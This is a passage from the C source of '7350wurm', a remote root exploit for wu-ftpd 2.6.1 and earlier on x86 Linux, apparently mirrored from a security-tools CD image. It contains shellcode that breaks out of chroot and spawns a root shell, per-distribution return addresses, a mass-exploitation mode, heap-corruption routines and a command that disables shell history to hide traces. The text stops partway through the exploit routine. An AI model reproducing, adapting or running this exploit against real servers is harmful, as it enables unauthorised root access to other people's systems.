home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / 7350wurm.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  45KB  |  1,429 lines

  1. /* 7350wurm - x86/linux wu_ftpd remote root exploit
  2.  *
  3.  * TESO CONFIDENTIAL - SOURCE MATERIALS
  4.  *
  5.  * This is unpublished proprietary source code of TESO Security.
  6.  *
  7.  * The contents of these coded instructions, statements and computer
  8.  * programs may not be disclosed to third parties, copied or duplicated in
  9.  * any form, in whole or in part, without the prior written permission of
  10.  * TESO Security. This includes especially the Bugtraq mailing list, the
  11.  * www.hack.co.za website and any public exploit archive.
  12.  *
  13.  * The distribution restrictions cover the entire file, including this
  14.  * header notice. (This means, you are not allowed to reproduce the header).
  15.  *
  16.  * (C) COPYRIGHT TESO Security, 2001
  17.  * All Rights Reserved
  18.  *
  19.  *****************************************************************************
  20.  * thanks to bnuts, tomas, dvorak, scrippie and max for hints, discussions and
  21.  * ideas (synnergy.net rocks, thank you buddies ! :).
  22.  */
  23.  
  24. #define VERSION "0.2.2"
  25.  
  26. /* TODO 1. fix chroot break on linux 2.4.x (x >= 13?)
  27.  *         (ptrace inject on ppid())
  28.  */
  29.  
  30. #include <sys/types.h>
  31. #include <sys/time.h>
  32. #include <sys/socket.h>
  33. #include <netinet/in.h>
  34. #include <arpa/inet.h>
  35. #include <arpa/telnet.h>
  36. #include <netdb.h>
  37. #include <errno.h>
  38. #include <fcntl.h>
  39. #include <unistd.h>
  40. #include <stdio.h>
  41. #include <stdlib.h>
  42. #include <stdarg.h>
  43. #include <string.h>
  44. #include <time.h>
  45.  
  46.  
  47. #define INIT_CMD        "unset HISTFILE;id;uname -a;\n"
  48.  
  49. /* shellcodes
  50.  */
  51. unsigned char   x86_lnx_loop[] =
  52.         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  53.         "\xeb\xfe";
  54.  
  55. /* x86/linux write/read/exec code (41 bytes)
  56.  * does: 1. write (1, "\nsP\n", 4);
  57.  *       2. read (0, ncode, 0xff);
  58.  *       3. jmp ncode
  59.  */
  60. unsigned char   x86_wrx[] =
  61.         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  62.  
  63.         "\x31\xdb\x43\xb8\x0b\x74\x51\x0b\x2d\x01\x01\x01"
  64.         "\x01\x50\x89\xe1\x6a\x04\x58\x89\xc2\xcd\x80\xeb"
  65.         "\x0e\x31\xdb\xf7\xe3\xfe\xca\x59\x6a\x03\x58\xcd"
  66.         "\x80\xeb\x05\xe8\xed\xff\xff\xff";
  67.  
  68.  
  69. unsigned char   x86_lnx_execve[] =
  70.         /* 49 byte x86 linux PIC setreuid(0,0) + chroot-break
  71.          * code by lorian / teso
  72.          */
  73.         "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54"
  74.         "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80"
  75.         "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b"
  76.         "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd"
  77.         "\x80"
  78.  
  79.         /* 34 byte x86 linux argv code -sc
  80.          */
  81.         "\xeb\x1b\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75"
  82.         "\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89"
  83.         "\xe1\xb0\x0b\xcd\x80\xe8\xe0\xff\xff\xff";
  84.  
  85.  
  86. /* setreuid/chroot/execve
  87.  * lorian / teso */
  88. unsigned char   x86_lnx_shell[] =
  89. /* TODO: fix chroot break on 2.4.x series (somewhere between 2.4.6 and
  90.  *       2.4.13 they changed chroot behaviour. maybe to ptrace-inject
  91.  *       on parent process (inetd) and execute code there. (optional)
  92.  */
  93.         "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54"
  94.         "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80"
  95.         "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b"
  96.         "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd"
  97.         "\x80"
  98.         "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f"
  99.         "\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";
  100.  
  101.  
  102. typedef struct {
  103.         char *                  desc;           /* distribution */
  104.         char *                  banner;         /* ftp banner part */
  105.         unsigned char *         shellcode;
  106.         unsigned int            shellcode_len;
  107.  
  108.         unsigned long int       retloc;         /* return address location */
  109.         unsigned long int       cbuf;           /* &cbuf[0] */
  110. } tgt_type;
  111.  
  112.  
  113. tgt_type tmanual = {
  114.         "manual values",
  115.         "unknown banner",
  116.         x86_wrx, sizeof (x86_wrx) - 1,
  117.         0x41414141, 0x42424242
  118. };
  119.  
  120. tgt_type targets[] = {
  121.         { "Caldera eDesktop|eServer|OpenLinux 2.3 update "
  122.                 "[wu-ftpd-2.6.1-13OL.i386.rpm]",
  123.                 "Version wu-2.6.1(1) Wed Nov 28 14:03:42 CET 2001",
  124.                 x86_wrx, sizeof (x86_wrx) - 1,
  125.                 0x0806e2b0, 0x080820a0 },
  126.  
  127.         { "Debian potato [wu-ftpd_2.6.0-3.deb]",
  128.                 "Version wu-2.6.0(1) Tue Nov 30 19:12:53 CET 1999",
  129.                 x86_wrx, sizeof (x86_wrx) - 1,
  130.                 0x0806db00, 0x0807f520 },
  131.  
  132.         { "Debian potato [wu-ftpd_2.6.0-5.1.deb]",
  133.                 "Version wu-2.6.0(1) Fri Jun 23 08:07:11 CEST 2000",
  134.                 x86_wrx, sizeof (x86_wrx) - 1,
  135.                 0x0806db80, 0x0807f5a0 },
  136.  
  137.         { "Debian potato [wu-ftpd_2.6.0-5.3.deb]",
  138.                 "Version wu-2.6.0(1) Thu Feb 8 17:45:47 CET 2001",
  139.                 x86_wrx, sizeof (x86_wrx) - 1,
  140.                 0x0806db80, 0x0807f5a0 },
  141.  
  142.         { "Debian sid [wu-ftpd_2.6.1-5_i386.deb]",
  143.                 "Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001",
  144.                 x86_wrx, sizeof (x86_wrx) - 1,
  145.                 0x0806e7a0, 0x0807ffe0 },
  146.  
  147.         { "Immunix 6.2 (Cartman) [wu-ftpd-2.6.0-3_StackGuard.rpm]",
  148.                 "Version wu-2.6.0(1) Thu May 25 03:35:34 PDT 2000",
  149.                 x86_wrx, sizeof (x86_wrx) - 1,
  150.                 0x080713e0, 0x08082e00 },
  151.  
  152.         { "Immunix 7.0 (Stolichnaya) [wu-ftpd-2.6.1-6_imnx_2.rpm]",
  153.                 "Version wu-2.6.1(1) Mon Jan 29 08:04:31 PST 2001",
  154.                 x86_wrx, sizeof (x86_wrx) - 1,
  155.                 0x08072bd4, 0x08086400 },
  156.  
  157.         { "Mandrake 6.0|6.1|7.0|7.1 update [wu-ftpd-2.6.1-8.6mdk.i586.rpm]",
  158.                 "Version wu-2.6.1(1) Mon Jan 15 20:52:49 CET 2001",
  159.                 x86_wrx, sizeof (x86_wrx) - 1,
  160.                 0x0806f7f0, 0x08082600 },
  161.  
  162.         { "Mandrake 7.2 update [wu-ftpd-2.6.1-8.3mdk.i586.rpm]",
  163.                 "Version wu-2.6.1(1) Wed Jan 10 07:07:00 CET 2001",
  164.                 x86_wrx, sizeof (x86_wrx) - 1,
  165.                 0x08071850, 0x08084660 },
  166.  
  167.         { "Mandrake 8.1 [wu-ftpd-2.6.1-11mdk.i586.rpm]",
  168.                 "Version wu-2.6.1(1) Sun Sep 9 16:30:24 CEST 2001",
  169.                 x86_wrx, sizeof (x86_wrx) - 1,
  170.                 0x0806fec4, 0x08082b40 },
  171.  
  172.         { "RedHat 5.0|5.1 update [wu-ftpd-2.4.2b18-2.1.i386.rpm]",
  173.                 "Version wu-2.4.2-academ[BETA-18](1) "
  174.                         "Mon Jan 18 19:19:31 EST 1999",
  175.                 x86_wrx, sizeof (x86_wrx) - 1,
  176.                 0x08061cf0, 0x08068540 },       /* XXX: manually found */
  177.  
  178.         { "RedHat 5.2 (Apollo) [wu-ftpd-2.4.2b18-2.i386.rpm]",
  179.                 "Version wu-2.4.2-academ[BETA-18](1) "
  180.                         "Mon Aug 3 19:17:20 EDT 1998",
  181.                 x86_wrx, sizeof (x86_wrx) - 1,
  182.                 0x08061c48, 0x08068490 },       /* XXX: manually found */
  183.  
  184.         { "RedHat 5.2 update [wu-ftpd-2.6.0-2.5.x.i386.rpm]",
  185.                 "Version wu-2.6.0(1) Fri Jun 23 09:22:33 EDT 2000",
  186.                 x86_wrx, sizeof (x86_wrx) - 1,
  187.                 0x0806b530, 0x08076550 },       /* XXX: manually found */
  188.  
  189. #if 0
  190.         /* XXX: not exploitable using synnergy.net method. (glob code
  191.          *      does not handle {.,.,.,.}
  192.          */
  193.         { "RedHat 6.0 (Hedwig) [wu-ftpd-2.4.2vr17-3.i386.rpm]",
  194.                 "Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999",
  195.                 x86_wrx, sizeof (x86_wrx) - 1,
  196.                 0x08069f04, 0x08079f60 },
  197. #endif
  198.  
  199.         { "RedHat 6.? [wu-ftpd-2.6.0-1.i386.rpm]",
  200.                 "Version wu-2.6.0(1) Thu Oct 21 12:27:00 EDT 1999",
  201.                 x86_wrx, sizeof (x86_wrx) - 1,
  202.                 0x0806e620, 0x080803e0 },
  203.  
  204.         { "RedHat 6.0|6.1|6.2 update [wu-ftpd-2.6.0-14.6x.i386.rpm]",
  205.                 "Version wu-2.6.0(1) Fri Jun 23 09:17:44 EDT 2000",
  206.                 x86_wrx, sizeof (x86_wrx) - 1,
  207.                 0x08070538, 0x08083360 },
  208.  
  209.         { "RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]",
  210.                 "Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999",
  211.                 x86_wrx, sizeof (x86_wrx) - 1,
  212.                 0x0806cb88, 0x0807cc40 },
  213.  
  214.         { "RedHat 6.2 (Zoot) [wu-ftpd-2.6.0-3.i386.rpm]",
  215.                 "Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000",
  216.                 x86_wrx, sizeof (x86_wrx) - 1,
  217.                 0x0806e1a0, 0x0807fbc0 },
  218.  
  219.         { "RedHat 7.0 (Guinness) [wu-ftpd-2.6.1-6.i386.rpm]",
  220.                 "Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000",
  221.                 x86_wrx, sizeof (x86_wrx) - 1,
  222.                 0x08070ddc, 0x08084600 },
  223.  
  224.         { "RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]",
  225.                 "Version wu-2.6.1-16",
  226.                 x86_wrx, sizeof (x86_wrx) - 1,
  227.                 0x0807314c, 0x08085de0 },
  228.  
  229.         { "RedHat 7.2 (Enigma) [wu-ftpd-2.6.1-18.i386.rpm]",
  230.                 "Version wu-2.6.1-18",
  231.                 x86_wrx, sizeof (x86_wrx) - 1,
  232.                 0x08072c30, 0x08085900 },
  233.  
  234.         { "SuSE 6.0|6.1 update [wuftpd-2.6.0-151.i386.rpm]",
  235.                 "Version wu-2.6.0(1) Wed Aug 30 22:26:16 GMT 2000",
  236.                 x86_wrx, sizeof (x86_wrx) - 1,
  237.                 0x0806e6b4, 0x080800c0 },
  238.  
  239.         { "SuSE 6.0|6.1 update wu-2.4.2 [wuftpd-2.6.0-151.i386.rpm]",
  240.                 "Version wu-2.4.2-academ[BETA-18](1) "
  241.                         "Wed Aug 30 22:26:37 GMT 2000",
  242.                 x86_wrx, sizeof (x86_wrx) - 1,
  243.                 0x0806989c, 0x08069f80 },
  244.  
  245.         { "SuSE 6.2 update [wu-ftpd-2.6.0-1.i386.rpm]",
  246.                 "Version wu-2.6.0(1) Thu Oct 28 23:35:06 GMT 1999",
  247.                 x86_wrx, sizeof (x86_wrx) - 1,
  248.                 0x0806f85c, 0x08081280 },
  249.  
  250.         { "SuSE 6.2 update [wuftpd-2.6.0-121.i386.rpm]",
  251.                 "Version wu-2.6.0(1) Mon Jun 26 13:11:34 GMT 2000",
  252.                 x86_wrx, sizeof (x86_wrx) - 1,
  253.                 0x0806f4e0, 0x08080f00 },
  254.  
  255.         { "SuSE 6.2 update wu-2.4.2 [wuftpd-2.6.0-121.i386.rpm]",
  256.                 "Version wu-2.4.2-academ[BETA-18](1) "
  257.                         "Mon Jun 26 13:11:56 GMT 2000",
  258.                 x86_wrx, sizeof (x86_wrx) - 1,
  259.                 0x0806a234, 0x0806a880 },
  260.  
  261.         { "SuSE 7.0 [wuftpd.rpm]",
  262.                 "Version wu-2.6.0(1) Wed Sep 20 23:52:03 GMT 2000",
  263.                 x86_wrx, sizeof (x86_wrx) - 1,
  264.                 0x0806f180, 0x08080ba0 },
  265.  
  266.         { "SuSE 7.0 wu-2.4.2 [wuftpd.rpm]",
  267.                 "Version wu-2.4.2-academ[BETA-18](1) "
  268.                         "Wed Sep 20 23:52:21 GMT 2000",
  269.                 x86_wrx, sizeof (x86_wrx) - 1,
  270.                 0x0806a554, 0x0806aba0 },
  271.  
  272.         { "SuSE 7.1 [wuftpd.rpm]",
  273.                 "Version wu-2.6.0(1) Thu Mar 1 14:43:47 GMT 2001",
  274.                 x86_wrx, sizeof (x86_wrx) - 1,
  275.                 0x0806f168, 0x08080980 },
  276.  
  277.         { "SuSE 7.1 wu-2.4.2 [wuftpd.rpm]",
  278.                 "Version wu-2.4.2-academ[BETA-18](1) "
  279.                         "Thu Mar 1 14:44:08 GMT 2001",
  280.                 x86_wrx, sizeof (x86_wrx) - 1,
  281.                 0x0806a534, 0x0806ab80 },
  282.  
  283.         { "SuSE 7.2 [wuftpd.rpm]",
  284.                 "Version wu-2.6.0(1) Mon Jun 18 12:34:55 GMT 2001",
  285.                 x86_wrx, sizeof (x86_wrx) - 1,
  286.                 0x0806f58c, 0x08080dc0 },
  287.  
  288.         { "SuSE 7.2 wu-2.4.2 [wuftpd.rpm]",
  289.                 "Version wu-2.4.2-academ[BETA-18](1) "
  290.                         "Mon Jun 18 12:35:12 GMT 2001",
  291.                 x86_wrx, sizeof (x86_wrx) - 1,
  292.                 0x0806a784, 0x0806ae40 },
  293.  
  294.         { "SuSE 7.3 [wuftpd.rpm]",
  295.                 "Version wu-2.6.0(1) Thu Oct 25 03:14:33 GMT 2001",
  296.                 x86_wrx, sizeof (x86_wrx) - 1,
  297.                 0x0806f31c, 0x08080aa0 },
  298.  
  299.         { "SuSE 7.3 wu-2.4.2 [wuftpd.rpm]",
  300.                 "Version wu-2.4.2-academ[BETA-18](1) "
  301.                         "Thu Oct 25 03:14:49 GMT 2001",
  302.                 x86_wrx, sizeof (x86_wrx) - 1,
  303.                 0x0806a764, 0x0806ad60 },
  304. #if 0
  305.  
  306.         /* slackware (from 8 on they use proftpd by default) */
  307.         { "Slackware 7",
  308.                 "Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999",
  309.                 x86_wrx, sizeof (x86_wrx) - 1,
  310.                 0x0806d03c, 0x0808f648 },
  311. #endif
  312.  
  313.         { "Slackware 7.1",
  314.                 "Version wu-2.6.0(1) Tue Jun 27 10:52:28 PDT 2000",
  315.                 x86_wrx, sizeof (x86_wrx) - 1,
  316.                 0x0806ba2c, },
  317.  
  318.         { NULL, NULL, 0, 0, 0, 0 },
  319. };
  320.  
  321. /* exploitation related stuff.
  322.  * DO NOT CHANGE, except you know exactly what you are doing.
  323.  */
  324. #define CHUNK_POS       256
  325.  
  326. #define MALLOC_ALIGN_MASK       0x07
  327. #define MALLOC_MINSIZE          0x10
  328. #define CHUNK_ALLSIZE(s) \
  329.         CHUNK_ROUND((s)) + 0x08
  330. #define CHUNK_ROUND(s) \
  331.         (((((s) + 4 + MALLOC_ALIGN_MASK)) < \
  332.                 (MALLOC_MINSIZE + MALLOC_ALIGN_MASK)) ? \
  333.         (MALLOC_MINSIZE) : ((((s) + 4 + MALLOC_ALIGN_MASK)) & \
  334.         ~MALLOC_ALIGN_MASK))
  335.  
  336. /* minimum sized malloc(n) allocation that will jield in an overall
  337.  * chunk size of s. (s must be a valid %8=0 chunksize)
  338.  */
  339. #define CHUNK_ROUNDDOWN(s) \
  340.         ((s) <= 0x8) ? (1) : ((s) - 0x04 - 11)
  341. #define CHUNK_STRROUNDDOWN(s) \
  342.         (CHUNK_ROUNDDOWN ((s)) > 1 ? CHUNK_ROUNDDOWN ((s)) - 1 : 1)
  343.  
  344.  
  345. /* FTP related stuff
  346.  */
  347. char *  dest = "127.0.0.1";     /* can be changed with -d */
  348. char *  username = "ftp";       /* can be changed with -u */
  349. char *  password = "mozilla@";  /* can be changed with -p */
  350.  
  351. char *  ftp_banner = NULL;
  352.  
  353. int     verbose = 0;
  354.  
  355.  
  356. /* FTP prototypes
  357.  */
  358. void ftp_escape (unsigned char *buf, unsigned long int buflen);
  359. void ftp_recv_until (int sock, char *buff, int len, char *begin);
  360. int ftp_login (char *host, char *user, char *pass);
  361.  
  362.  
  363. /* main prototypes
  364.  */
  365. void usage (char *progname);
  366. void exploit (int fd, tgt_type *tgt);
  367. void shell (int sock);
  368. void hexdump (char *desc, unsigned char *data, unsigned int amount);
  369.  
  370. void tgt_list (void);
  371. tgt_type * tgt_frombanner (unsigned char *banner);
  372.  
  373. void xp_buildsize (int fd, unsigned char this_size_ls,
  374.         unsigned long int csize);
  375. void xp_gapfill (int fd, int rnfr_num, int rnfr_size);
  376. int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len);
  377. void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen);
  378.  
  379.  
  380. /*** MASS mode stuff
  381.  */
  382. static int
  383. sc_build_x86_lnx (unsigned char *target, size_t target_len,
  384.         unsigned char *shellcode, char **argv);
  385.  
  386. int             mass = 0;       /* enable with -m (kids, get hurt!) */
  387. unsigned int    mlen = 0;
  388. unsigned char   mcode[256];
  389.  
  390.  
  391. /* imported from network.c
  392.  */
  393. #define NET_CONNTIMEOUT 60
  394. #define NET_READTIMEOUT 20
  395. int     net_conntimeout = NET_CONNTIMEOUT;
  396.  
  397. unsigned long int net_resolve (char *host);
  398. int net_connect (struct sockaddr_in *cs, char *server,
  399.         unsigned short int port, int sec);
  400. void net_write (int fd, const char *str, ...);
  401. int net_rtimeout (int fd, int sec);
  402. int net_rlinet (int fd, char *buf, int bufsize, int sec);
  403.  
  404.  
  405. /* exploitation related stuff, which is fixed on all wuftpd systems
  406.  */
  407. #define RNFR_SIZE       4
  408. #define RNFR_NUM        73
  409.  
  410. int     automode = 0;   /* evil, do not use */
  411. int     debugmode = 0;
  412.  
  413. void
  414. usage (char *progname)
  415. {
  416.         fprintf (stderr, "usage: %s [-h] [-v] [-a] [-D] [-m]\n"
  417.                 "\t[-t <num>] [-u <user>] [-p <pass>] [-d host]\n"
  418.                 "\t[-L <retloc>] [-A <retaddr>]\n\n", progname);
  419.  
  420.         fprintf (stderr,
  421.                 "-h\tthis help\n"
  422.                 "-v\tbe verbose (default: off, twice for greater effect)\n"
  423.                 "-a\tAUTO mode (target from banner)\n"
  424.                 "-D\tDEBUG mode (waits for keypresses)\n"
  425.                 "-m\tenable mass mode (use with care)\n"
  426.                 "-t num\tchoose target (0 for list, try -v or -v -v)\n"
  427.                 "-u user\tusername to login to FTP (default: \"ftp\")\n"
  428.                 "-p pass\tpassword to use (default: \"mozilla@\")\n"
  429.                 "-d dest\tIP address or fqhn to connect to "
  430.                         "(default: 127.0.0.1)\n"
  431.                 "-L loc\toverride target-supplied retloc "
  432.                         "(format: 0xdeadbeef)\n"
  433.                 "-A addr\toverride target-supplied retaddr "
  434.                         "(format: 0xcafebabe)\n");
  435.         fprintf (stderr, "\n");
  436.  
  437.         exit (EXIT_FAILURE);
  438. }
  439.  
  440. unsigned char *         shellcode = NULL;
  441. unsigned long int       shellcode_len = 0;
  442. unsigned long int       user_retloc = 0,
  443.                         user_retaddr = 0;
  444.  
  445.  
  446. int
  447. main (int argc, char *argv[])
  448. {
  449.         char                    c;
  450.         char *                  progname;       /* = argv[0] */
  451.         int                     fd;
  452.  
  453.         tgt_type *              tgt = NULL;
  454.         int                     tgt_num = -1;
  455.  
  456.         unsigned char           xpbuf[512 + 16];
  457.  
  458.  
  459.         fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 remote root "
  460.                 "(version "VERSION")\n"
  461.                 "team teso (thx bnuts, tomas, synnergy.net !).\n\n");
  462.  
  463.         progname = argv[0];
  464.         if (argc < 2)
  465.                 usage (progname);
  466.  
  467.  
  468.         while ((c = getopt (argc, argv, "hvaDmt:u:p:d:L:A:")) != EOF) {
  469.                 switch (c) {
  470.                 case 'h':
  471.                         usage (progname);
  472.                         break;
  473.                 case 'a':
  474.                         automode = 1;
  475.                         break;
  476.                 case 'D':
  477.                         debugmode = 1;
  478.                         break;
  479.                 case 'v':
  480.                         verbose += 1;
  481.                         break;
  482.                 case 'm':
  483.                         mass = 1;
  484.                         break;
  485.                 case 't':
  486.                         if (sscanf (optarg, "%u", &tgt_num) != 1)
  487.                                 usage (progname);
  488.                         break;
  489.                 case 'u':
  490.                         username = "h0ra";
  491.                         printf ("username = %s\n", optarg);
  492.                         break;
  493.                 case 'p':
  494.                         password = optarg;
  495.                         break;
  496.                 case 'd':
  497.                         dest = optarg;
  498.                         break;
  499.                 case 'L':
  500.                         if (sscanf (optarg, "0x%lx", &user_retloc) != 1)
  501.                                 usage (progname);
  502.                         break;
  503.                 case 'A':
  504.                         if (sscanf (optarg, "0x%lx", &user_retaddr) != 1)
  505.                                 usage (progname);
  506.                         break;
  507.                 default:
  508.                         usage (progname);
  509.                         break;
  510.                 }
  511.         }
  512.  
  513.         /* if both required offsets are given manually, then we dont have
  514.          * to require a target selection. otherwise check whether the target
  515.          * is within the list. if its not, then print a list of available
  516.          * targets
  517.          */
  518.         if (user_retloc != 0 && user_retaddr != 0) {
  519.                 tgt = &tmanual;
  520.         } else if (automode == 0 && (tgt_num == 0 ||
  521.                 tgt_num >= (sizeof (targets) / sizeof (tgt_type))))
  522.         {
  523.                 if (tgt_num != 0)
  524.                         printf ("WARNING: target out of list. list:\n\n");
  525.  
  526.                 tgt_list ();
  527.  
  528.                 exit (EXIT_SUCCESS);
  529.         }
  530.         if (tgt == NULL && automode == 0)
  531.                 tgt = &targets[tgt_num - 1];
  532.  
  533.         if (mass == 1) {
  534.                 if ((argc - optind) == 0)
  535.                         usage (progname);
  536.  
  537.                 mlen = sc_build_x86_lnx (mcode, sizeof (mcode),
  538.                         x86_lnx_execve, &argv[optind]);
  539.  
  540.                 if (mlen >= 0xff) {
  541.                         fprintf (stderr, "created argv-code too long "
  542.                                 "(%d bytes)\n", mlen);
  543.  
  544.                         exit (EXIT_FAILURE);
  545.                 }
  546.  
  547.                 fprintf (stderr, "# created %d byte execve shellcode\n", mlen);
  548.         }
  549.  
  550.         printf ("# trying to log into %s with (%s/%s) ...", dest,
  551.                 username, password);
  552.         fflush (stdout);
  553.  
  554.         fd = ftp_login (dest, username, password);
  555.         if (fd <= 0) {
  556.                 fprintf (stderr, "\nfailed to connect (user/pass correct?)\n");
  557.                 exit (EXIT_FAILURE);
  558.         }
  559.         printf (" connected.\n");
  560.  
  561.         if (debugmode) {
  562.                 printf ("DEBUG: press enter\n");
  563.                 getchar ();
  564.         }
  565.  
  566.         printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
  567.                 ftp_banner);
  568.  
  569.         if (tgt == NULL && automode) {
  570.                 tgt = tgt_frombanner (ftp_banner);
  571.                 if (tgt == NULL) {
  572.                         printf ("# failed to jield target from banner, aborting\n");
  573.  
  574.                         exit (EXIT_FAILURE);
  575.                 }
  576.                 printf ("# successfully selected target from banner\n");
  577.  
  578.         }
  579.  
  580.         if (shellcode == NULL) {
  581.                 shellcode = tgt->shellcode;
  582.                 shellcode_len = tgt->shellcode_len;
  583.         }
  584.  
  585.         if (verbose >= 2) {
  586.                 printf ("using %lu byte shellcode:\n", shellcode_len);
  587.  
  588.                 hexdump ("shellcode", shellcode, shellcode_len);
  589.         }
  590.  
  591.         if (user_retaddr != 0) {
  592.                 fprintf (stderr, "# overriding target retaddr with: 0x%08lx\n",
  593.                         user_retaddr);
  594.         }
  595.  
  596.         if (user_retloc != 0) {
  597.                 fprintf (stderr, "# overriding target retloc with: 0x%08lx\n",
  598.                         user_retloc);
  599.  
  600.                 tgt->retloc = user_retloc;
  601.         }
  602.  
  603.         printf ("\n### TARGET: %s\n\n", tgt->desc);
  604.  
  605.         /* real stuff starts from here
  606.          */
  607.         printf ("# 1. filling memory gaps\n");
  608.         xp_gapfill (fd, RNFR_NUM, RNFR_SIZE);
  609.  
  610.         exploit (fd, tgt);
  611.  
  612.         printf ("# 3. triggering free(globlist[1])\n");
  613.         net_write (fd, "CWD ~{\n");
  614.  
  615.         ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "sP");
  616.         if (strncmp (xpbuf, "sP", 2) != 0) {
  617.                 fprintf (stderr, "exploitation FAILED !\noutput:\n%s\n",
  618.                         xpbuf);
  619.  
  620.                 exit (EXIT_FAILURE);
  621.         }
  622.  
  623.         printf ("#\n# exploitation succeeded. sending real shellcode\n");
  624.  
  625.         if (mass == 1) {
  626.                 printf ("# mass mode, sending constructed argv code\n");
  627.  
  628.                 write (fd, mcode, mlen);
  629.  
  630.                 printf ("# send. sleeping 10 seconds\n");
  631.                 sleep (10);
  632.  
  633.                 printf ("# success.\n");
  634.  
  635.                 exit (EXIT_SUCCESS);
  636.         }
  637.  
  638.         printf ("# sending setreuid/chroot/execve shellcode\n");
  639.         net_write (fd, "%s", x86_lnx_shell);
  640.  
  641.         printf ("# spawning shell\n");
  642.         printf ("##################################################"
  643.                         "##########################\n");
  644.  
  645.         write (fd, INIT_CMD, strlen (INIT_CMD));
  646.         shell (fd);
  647.  
  648.         exit (EXIT_SUCCESS);
  649. }
  650.  
  651.  
  652. void
  653. exploit (int fd, tgt_type *tgt)
  654. {
  655.         unsigned long int       dir_chunk_size,
  656.                                 bridge_dist,
  657.                                 padchunk_size,
  658.                                 fakechunk_size,
  659.                                 pad_before;
  660.         unsigned char *         dl;     /* dirlength */
  661.  
  662.         unsigned char           xpbuf[512 + 64];
  663.  
  664.  
  665.         /* figure out home directory length
  666.          */
  667.         net_write (fd, "PWD\n");
  668.         ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "257 ");
  669.  
  670.         dl = strchr (xpbuf, '"');
  671.         if (dl == NULL || strchr (dl + 1, '"') == NULL) {
  672.                 fprintf (stderr, "faulty PWD reply: %s\n", xpbuf);
  673.  
  674.                 exit (EXIT_FAILURE);
  675.         }
  676.  
  677.         dir_chunk_size = 0;
  678.         for (dl += 1 ; *dl != '"' ; ++dl)
  679.                 dir_chunk_size += 1;
  680.  
  681.         if (verbose)
  682.                 printf ("PWD path (%lu): %s\n", dir_chunk_size, xpbuf);
  683.  
  684.         /* compute chunk size from it (needed later)
  685.          */
  686.         dir_chunk_size += 3;    /* ~/ + NUL byte */
  687.         dir_chunk_size = CHUNK_ROUND (dir_chunk_size);
  688.         if (debugmode)
  689.                 printf ("dir_chunk_size = 0x%08lx\n", dir_chunk_size);
  690.  
  691.  
  692.         /* send preparation buffer to store the fakechunk in the end of
  693.          * the malloc buffer allocated from within the parser ($1)
  694.          */
  695.         printf ("# 2. sending bigbuf + fakechunk\n");
  696.         xp_build (tgt, xpbuf, 500 - strlen ("LIST "));
  697.         if (verbose)
  698.                 hexdump ("xpbuf", xpbuf, strlen (xpbuf));
  699.  
  700.         ftp_escape (xpbuf, sizeof (xpbuf));
  701.         net_write (fd, "CWD %s\n", xpbuf);
  702.         ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 ");
  703.  
  704.  
  705.         /* synnergy.net uberleet method (thank you very much guys !)
  706.          */
  707.         net_write (fd, "CWD ~/{.,.,.,.}\n");
  708.         ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 ");
  709.  
  710.         /* now, we flush the last-used-chunk marker in glibc malloc code. else
  711.          * we might land in a previously used bigger chunk, but we need a
  712.          * sequential order. "CWD ." will allocate a two byte chunk, which will
  713.          * be reused on any later small malloc.
  714.          */
  715.         net_write (fd, "CWD .\n");
  716.         ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 ");
  717.  
  718.  
  719.         /* cause chunk with padding size
  720.          */
  721.         pad_before = CHUNK_ALLSIZE (strlen ("~/{.,.,.,.}\n")) +
  722.                         dir_chunk_size - 0x08;
  723.         xp_gapfill (fd, 1, CHUNK_ROUNDDOWN (pad_before));
  724.  
  725.         /* 0x10 (CWD ~/{.,.,.,.}) + 4 * dirchunk */
  726.         bridge_dist = 0x10 + 4 * dir_chunk_size;
  727.         if (debugmode)
  728.                 printf ("bridge_dist = 0x%08lx\n", bridge_dist);
  729.  
  730.         /* 0x18 (RNFR 16), dcs (RNFR dir), 0x10 (CWD ~{) */
  731.         padchunk_size = bridge_dist - 0x18 - dir_chunk_size - 0x10;
  732.         if (debugmode)
  733.                 printf ("padchunk_size = 0x%08lx\n", padchunk_size);
  734.  
  735.         /* +4 = this_size field itself */
  736.         fakechunk_size = CHUNK_POS + 4;
  737.         fakechunk_size -= pad_before;
  738.         fakechunk_size += 0x04; /* account for prev_size, too */
  739.         fakechunk_size |= 0x1;  /* set PREV_INUSE */
